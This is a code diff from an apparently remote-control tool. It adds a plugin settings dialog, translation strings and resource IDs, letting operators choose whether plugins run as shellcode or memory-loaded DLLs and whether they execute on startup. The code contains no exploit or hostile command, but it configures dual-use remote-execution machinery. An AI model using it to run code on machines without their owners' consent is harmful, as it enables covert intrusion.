CPluginSettingsDlg::CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_PLUGIN_SETTINGS, pParent)
, m_DllList(dllList)
, m_nSelectedIndex(-1)
{
}
CPluginSettingsDlg::~CPluginSettingsDlg()
{
}
void CPluginSettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_PLUGINS, m_listPlugins);
DDX_Control(pDX, IDC_COMBO_RUNTYPE_P, m_comboRunType);
DDX_Control(pDX, IDC_COMBO_CALLTYPE, m_comboCallType);
DDX_Control(pDX, IDC_COMBO_MODE, m_comboMode);
DDX_Control(pDX, IDC_EDIT_INTERVAL, m_editInterval);
DDX_Control(pDX, IDC_EDIT_MAXCOUNT, m_editMaxCount);
}
BOOL CPluginSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
// 初始化列表控件
InitListCtrl();
// 初始化运行类型下拉框
m_comboRunType.InsertString(SHELLCODE, _TR("Shellcode"));
m_comboRunType.InsertString(MEMORYDLL, _TR("内存DLL"));
m_comboRunType.SetCurSel(MEMORYDLL);
// 初始化调用方式下拉框
m_comboCallType.InsertString(CALLTYPE_DEFAULT, _TR("自动检测"));
m_comboCallType.InsertString(CALLTYPE_IOCPTHREAD, _TR("IOCP线程"));
m_comboCallType.InsertString(CALLTYPE_FRPC_CALL, _TR("自定义FRPC[不可用]"));
m_comboCallType.InsertString(CALLTYPE_FRPC_STDCALL, _TR("标准FRPC[不可用]"));
m_comboCallType.SetCurSel(CALLTYPE_DEFAULT);
// 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置
m_Configs = LoadPluginConfigs();
// 加载插件列表
LoadPluginsToList();
return TRUE;
}
void CPluginSettingsDlg::InitListCtrl()
{
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_listPlugins.InsertColumn(0, _TR("名称"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(1, _TR("大小"), LVCFMT_RIGHT, 80);
m_listPlugins.InsertColumn(2, _TR("运行类型"), LVCFMT_LEFT, 80);
m_listPlugins.InsertColumn(3, _TR("调度模式"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(4, _TR("MD5"), LVCFMT_LEFT, 220);
GetDlgItem(IDC_STATIC_PLUGIN_SETTINGS)->SetWindowText(_TR("插件参数配置"));
GetDlgItem(IDC_STATIC_PLUGIN_RUNTYPE)->SetWindowText(_TR("运行类型:"));
GetDlgItem(IDC_STATIC_PLUGIN_CALLTYPE)->SetWindowText(_TR("调用方式:"));
GetDlgItem(IDC_STATIC_PLUGIN_SCHEDULE)->SetWindowText(_TR("调度模式:"));
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
SetWindowText(_TR("插件设置"));
}
void CPluginSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
int index = 0;
for (const auto& dll : m_DllList) {
if (!dll || !dll->Data) continue;
// 获取 DllExecuteInfo
const char* buf = (char*)(dll->Data->Buf());
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
CString sizeStr;
sizeStr.Format(_T("%d KB"), info->Size / 1024);
m_listPlugins.SetItemText(index, 1, sizeStr);
int runType = cfg ? cfg->RunType : info->RunType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
index++;
}
}
void CPluginSettingsDlg::OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
*pResult = 0;
if (pNMLV->uNewState & LVIS_SELECTED) {
m_nSelectedIndex = pNMLV->iItem;
UpdateSelectedPluginInfo();
}
}
void CPluginSettingsDlg::UpdateSelectedPluginInfo()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)(dll->Data->Buf());
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找配置(如果有)
PluginConfig* cfg = FindConfig(dll->Name);
// 更新下拉框和编辑框
int runType = cfg ? cfg->RunType : info->RunType;
int callType = cfg ? cfg->CallType : info->CallType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
CString str;
str.Format(_T("%u"), interval);
m_editInterval.SetWindowText(str);
str.Format(_T("%u"), maxCount);
m_editMaxCount.SetWindowText(str);
}
void CPluginSettingsDlg::OnBnClickedBtnSave()
{
if (m_nSelectedIndex < 0) {
MessageBoxL(_T("请先选择一个插件"), _T("提示"), MB_ICONINFORMATION);
return;
}
SaveCurrentPluginConfig();
SavePluginConfigs(m_Configs);
// 刷新列表显示
LoadPluginsToList();
// 重新选中
m_listPlugins.SetItemState(m_nSelectedIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
MessageBoxL(_T("配置已保存"), _T("提示"), MB_ICONINFORMATION);
}
void CPluginSettingsDlg::SaveCurrentPluginConfig()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)dll->Data->Buf();
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
if (!cfg) {
PluginConfig newCfg;
newCfg.Name = dll->Name;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->Md5 = info->Md5;
cfg->RunType = m_comboRunType.GetCurSel();
cfg->CallType = m_comboCallType.GetCurSel();
cfg->Mode = (unsigned char)m_comboMode.GetCurSel();
CString str;
m_editInterval.GetWindowText(str);
cfg->Interval = _ttoi(str);
m_editMaxCount.GetWindowText(str);
cfg->MaxCount = (unsigned char)_ttoi(str);
// 更新 DllInfo 中的 Buffer修改 DllExecuteInfo
DllExecuteInfo* infoMut = const_cast<DllExecuteInfo*>(info);
infoMut->RunType = cfg->RunType;
infoMut->CallType = cfg->CallType;
infoMut->Schedule.Mode = cfg->Mode;
infoMut->Schedule.Config.Startup.Interval = cfg->Interval;
infoMut->Schedule.MaxCount = cfg->MaxCount;
}
PluginConfig* CPluginSettingsDlg::FindConfig(const std::string& name)
{
for (auto& cfg : m_Configs) {
if (cfg.Name == name) {
return &cfg;
}
}
return nullptr;
}
std::string CPluginSettingsDlg::GetPluginConfigPath()
{
std::string dbPath = GetDbPath();
// 获取目录部分
size_t pos = dbPath.find_last_of("\\/");
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
return dir + "plugins.json";
}
std::vector<PluginConfig> CPluginSettingsDlg::LoadPluginConfigs()
{
std::vector<PluginConfig> configs;
std::string path = GetPluginConfigPath();
std::ifstream file(path);
if (!file.is_open()) {
return configs;
}
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
return configs;
}
if (!root.isArray()) {
return configs;
}
for (const auto& item : root) {
PluginConfig cfg;
cfg.Name = item.get("name", "").asString();
cfg.Md5 = item.get("md5", "").asString();
cfg.RunType = item.get("runType", MEMORYDLL).asInt();
cfg.CallType = item.get("callType", CALLTYPE_IOCPTHREAD).asInt();
cfg.Mode = (unsigned char)item.get("mode", SCH_MODE_NONE).asInt();
cfg.Flags = (unsigned char)item.get("flags", 0).asInt();
cfg.Interval = item.get("interval", 0).asUInt();
cfg.MaxCount = (unsigned char)item.get("maxCount", 0).asInt();
if (!cfg.Name.empty()) {
configs.push_back(cfg);
}
}
return configs;
}
void CPluginSettingsDlg::SavePluginConfigs(const std::vector<PluginConfig>& configs)
{
std::string path = GetPluginConfigPath();
Json::Value root(Json::arrayValue);
for (const auto& cfg : configs) {
Json::Value item;
item["name"] = cfg.Name;
item["md5"] = cfg.Md5;
item["runType"] = cfg.RunType;
item["callType"] = cfg.CallType;
item["mode"] = cfg.Mode;
item["flags"] = cfg.Flags;
item["interval"] = cfg.Interval;
item["maxCount"] = cfg.MaxCount;
root.append(item);
}
std::ofstream file(path);
if (file.is_open()) {
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
}
}
void CPluginSettingsDlg::PatchDllList(std::vector<DllInfo*>& dllList)
{
std::vector<PluginConfig> configs = LoadPluginConfigs();
for (auto& dll : dllList) {
if (!dll || !dll->Data) continue;
// 查找对应的配置
PluginConfig* cfg = nullptr;
for (auto& c : configs) {
if (c.Name == dll->Name) {
cfg = &c;
break;
}
}
if (!cfg) continue;
// 更新 DllExecuteInfo
char* buf = (char*)dll->Data->Buf();
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
DllExecuteInfo* info = reinterpret_cast<DllExecuteInfo*>(buf + 1);
info->RunType = cfg->RunType;
info->CallType = cfg->CallType;
info->Schedule.Mode = cfg->Mode;
info->Schedule.Flags = cfg->Flags;
info->Schedule.Config.Startup.Interval = cfg->Interval;
info->Schedule.MaxCount = cfg->MaxCount;
}
}

View File

@@ -0,0 +1,73 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include "common/commands.h"
#include "common/scheduler.h"
#include <vector>
#include <string>
// 前向声明
struct DllInfo;
// 插件配置结构体(用于 JSON 存储)
struct PluginConfig {
std::string Name; // 插件名称(作为唯一标识)
std::string Md5; // MD5
int RunType; // 运行类型
int CallType; // 调用方式
unsigned char Mode; // 调度模式
unsigned char Flags; // 标志位
unsigned int Interval; // 间隔(秒)
unsigned char MaxCount; // 最大次数
PluginConfig() : RunType(MEMORYDLL), CallType(CALLTYPE_IOCPTHREAD), Mode(SCH_MODE_NONE), Flags(0), Interval(0), MaxCount(0) {}
};
// 插件设置对话框
class CPluginSettingsDlg : public CDialogLangEx
{
public:
CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
virtual ~CPluginSettingsDlg();
enum { IDD = IDD_DIALOG_PLUGIN_SETTINGS };
// 静态方法:加载插件配置
static std::vector<PluginConfig> LoadPluginConfigs();
// 静态方法:保存插件配置
static void SavePluginConfigs(const std::vector<PluginConfig>& configs);
// 静态方法:获取配置文件路径
static std::string GetPluginConfigPath();
// 静态方法:根据配置更新 DllInfoPatch
static void PatchDllList(std::vector<DllInfo*>& dllList);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnSave();
afx_msg void OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitListCtrl();
void LoadPluginsToList();
void UpdateSelectedPluginInfo();
void SaveCurrentPluginConfig();
PluginConfig* FindConfig(const std::string& name);
private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
std::vector<PluginConfig> m_Configs; // 插件配置列表
int m_nSelectedIndex; // 当前选中的列表项索引
// 控件变量
CListCtrl m_listPlugins;
CComboBox m_comboRunType;
CComboBox m_comboCallType;
CComboBox m_comboMode;
CEdit m_editInterval;
CEdit m_editMaxCount;
};

View File

@@ -1773,3 +1773,33 @@ Web
请在菜单设置Web端口!=Please set Web liscening port! 请在菜单设置Web端口!=Please set Web liscening port!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter! 请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
如需Web远程桌面跨网使用方案请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator! 如需Web远程桌面跨网使用方案请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
; Plugin Settings Dialog - English Translation
; Format: Simplified Chinese=English
内存DLL=Memory DLL
自动检测=Auto Detect
IOCP线程=IOCP Thread
自定义FRPC[不可用]=Custom FRPC [Unavailable]
标准FRPC[不可用]=Standard FRPC [Unavailable]
不自动执行=No Auto Execute
启动执行=Execute on Startup
每日定时[未实现]=Daily Schedule [Not Implemented]
每周定时[未实现]=Weekly Schedule [Not Implemented]
名称=Name
大小=Size
运行类型=Run Type
调度模式=Schedule Mode
插件参数配置=Plugin Parameters
运行类型:=Run Type:
调用方式:=Call Type:
调度模式:=Schedule Mode:
间隔(秒):=Interval (sec):
最大次数:=Max Count:
插件设置=Plugin Settings
请先选择一个插件=Please select a plugin first
提示=Notice
配置已保存=Configuration saved
保存(&S)=Save(&S)
关闭=Close
插件设置(&S)=Plugin Settings(&S)
代理端口 - 自启=Proxy Port - AutoRun

View File

@@ -1765,3 +1765,33 @@ FRPS
请在菜单设置Web端口!=请在菜单设置Web端口! 请在菜单设置Web端口!=请在菜单设置Web端口!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面! 请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
如需Web远程桌面跨网使用方案请联系管理员!=如需Web远程桌面跨网使用方案请联系管理员! 如需Web远程桌面跨网使用方案请联系管理员!=如需Web远程桌面跨网使用方案请联系管理员!
; Plugin Settings Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
内存DLL=記憶體DLL
自动检测=自動檢測
IOCP线程=IOCP執行緒
自定义FRPC[不可用]=自訂FRPC[不可用]
标准FRPC[不可用]=標準FRPC[不可用]
不自动执行=不自動執行
启动执行=啟動執行
每日定时[未实现]=每日定時[未實現]
每周定时[未实现]=每週定時[未實現]
名称=名稱
大小=大小
运行类型=執行類型
调度模式=排程模式
插件参数配置=外掛參數設定
运行类型:=執行類型:
调用方式:=呼叫方式:
调度模式:=排程模式:
间隔(秒):=間隔(秒):
最大次数:=最大次數:
插件设置=外掛設定
请先选择一个插件=請先選擇一個外掛
提示=提示
配置已保存=設定已儲存
保存(&S)=儲存(&S)
关闭=關閉
插件设置(&S)=插件设置(&S)
代理端口 - 自启=代理端口 - 自启

View File

@@ -247,6 +247,7 @@
#define IDD_FEATURE_LIMITS 368 #define IDD_FEATURE_LIMITS 368
#define IDB_BITMAP8 369 #define IDB_BITMAP8 369
#define IDB_BITMAP_CANCELSHARE 369 #define IDB_BITMAP_CANCELSHARE 369
#define IDD_DIALOG_PLUGIN_SETTINGS 370
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -705,6 +706,19 @@
#define IDC_STATIC_FEATURE_TIP 2522 #define IDC_STATIC_FEATURE_TIP 2522
#define IDC_STATIC_AUTH_HOSTNUM 2523 #define IDC_STATIC_AUTH_HOSTNUM 2523
#define IDC_EDIT_AUTH_HOSTNUM 2524 #define IDC_EDIT_AUTH_HOSTNUM 2524
#define IDC_LIST_PLUGINS 2526
#define IDC_COMBO_RUNTYPE_P 2527
#define IDC_COMBO_CALLTYPE 2528
#define IDC_COMBO_MODE 2529
#define IDC_EDIT_INTERVAL 2530
#define IDC_EDIT_MAXCOUNT 2531
#define IDC_BTN_SAVE 2532
#define IDC_STATIC_PLUGIN_SETTINGS 2533
#define IDC_STATIC_PLUGIN_RUNTYPE 2534
#define IDC_STATIC_PLUGIN_CALLTYPE 2535
#define IDC_STATIC_PLUGIN_SCHEDULE 2536
#define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538
#define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775 #define ID_ONLINE_DELETE 32775
@@ -935,15 +949,18 @@
#define ID_CANCEL_SHARE 33042 #define ID_CANCEL_SHARE 33042
#define ID_33043 33043 #define ID_33043 33043
#define ID_WEB_REMOTE_CONTROL 33044 #define ID_WEB_REMOTE_CONTROL 33044
#define ID_TOOL_PLUGIN_SETTINGS 33045
#define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047
#define ID_EXIT_FULLSCREEN 40001 #define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 370 #define _APS_NEXT_RESOURCE_VALUE 371
#define _APS_NEXT_COMMAND_VALUE 33045 #define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2525 #define _APS_NEXT_CONTROL_VALUE 2539
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105
#endif #endif
#endif #endif